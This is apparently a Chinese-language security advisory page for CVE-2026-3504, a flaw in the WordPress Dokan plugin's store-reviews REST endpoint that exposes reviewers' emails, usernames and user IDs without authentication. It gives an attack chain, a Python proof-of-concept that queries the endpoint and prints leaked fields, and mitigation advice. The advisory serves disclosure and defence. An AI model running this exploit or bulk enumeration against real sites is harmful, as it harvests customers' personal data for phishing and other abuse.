IPBUF安全漏洞报告
English
CVE-2026-3504 CVSS 5.3 中危

CVE-2026-3504 WordPress Dokan插件敏感信息泄露漏洞

披露日期: 2026-05-02

漏洞信息

漏洞编号
CVE-2026-3504
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Dokan Plugin

相关标签

敏感信息泄露WordPressDokanCVE-2026-3504API安全无需认证

漏洞概述

该漏洞存在于WordPress的Dokan多供应商市场解决方案插件中。在所有受影响版本(包括4.3.1及以下)中,REST API端点`/dokan/v1/stores/{id}/reviews`存在信息泄露问题。具体原因是`prepare_reviews_for_response`方法在处理响应时,错误地将审查者的电子邮件地址、用户名和用户ID等敏感信息包含在内。未经身份验证的攻击者可利用此漏洞,提取任何供应商商店上留有评论的所有客户的敏感数据。成功利用此漏洞的前提是目标网站必须安装并激活了插件的专业版,且启用了商店评论功能。

技术细节

该漏洞源于WordPress Dokan插件在处理商店评论API请求时缺乏必要的数据过滤机制。具体而言,当调用REST API端点`/dokan/v1/stores/{id}/reviews`时,插件源代码中的`prepare_reviews_for_response`方法未能对返回的数据对象进行适当的净化。该方法直接将包含审查者电子邮件地址、用户名以及用户ID的完整用户对象序列化并包含在API响应中。根据WordPress及一般Web应用的安全开发规范,敏感的用户个人信息(PII)不应在未经严格权限控制的公开API端点中暴露。由于该端点被配置为无需身份验证即可访问(PR:N),且攻击复杂度低(AC:L),未经身份验证的远程攻击者可以通过脚本遍历商店ID({id}参数),批量抓取所有商家的评论数据。这种信息泄露虽然不会直接导致服务器被完全控制或数据被篡改,但为后续的社会工程学攻击、网络钓鱼、暴力破解或大规模的用户隐私侵犯提供了丰富的数据基础。漏洞代码具体位于`includes/REST/StoreController.php`文件的相关行中。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标网站使用了WordPress Dokan插件,并确定该插件已安装Pro版本且启用了商店评论功能。
STEP 2
步骤2:枚举
攻击者通过简单的数字递增或爬虫方式,枚举目标网站上的商店ID(Store ID)。
STEP 3
步骤3:利用
攻击者向`/dokan/v1/stores/{id}/reviews`端点发送未经身份验证的GET请求。
STEP 4
步骤4:数据泄露
服务器返回包含评论者邮箱、用户名和ID的JSON数据,攻击者解析并存储这些敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL configuration # Replace 'example.com' with the actual target domain target_url = "http://example.com/wp-json/dokan/v1/stores/1/reviews" def check_poc(url): try: # Send GET request to the vulnerable endpoint # No authentication required based on PR:N headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: try: data = response.json() # Check if response contains data if data and len(data) > 0: # Inspect the first item for sensitive fields first_review = data[0] # Check for sensitive keys: email, username, user_id sensitive_keys = ['email', 'username', 'user_id'] found_leak = False print("[+] Response received. Analyzing data structure...") for key in sensitive_keys: if key in first_review: print(f"[!] Sensitive data found: '{key}' -> {first_review[key]}") found_leak = True if found_leak: print("[+] Vulnerability Confirmed: Sensitive Information Exposure detected.") print(f"[+] Full Data Sample: {json.dumps(first_review, indent=2)}") return True else: print("[-] Response empty, no reviews found for this store ID.") except json.JSONDecodeError: print("[-] Response is not valid JSON.") else: print(f"[-] HTTP Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") return False if __name__ == "__main__": print(f"[*] Checking CVE-2026-3504 on: {target_url}") check_poc(target_url)

影响范围

Dokan <= 4.3.1

防御指南

临时缓解措施
建议立即将Dokan插件升级至修复了此漏洞的最新版本。如果无法立即升级,作为临时缓解措施,管理员可以禁用插件中的“商店评论”功能,或者通过服务器配置(如.htaccess或Nginx规则)限制对`/wp-json/dokan/v1/stores/*/reviews`路径的外部访问,确保只有授权用户才能获取评论数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表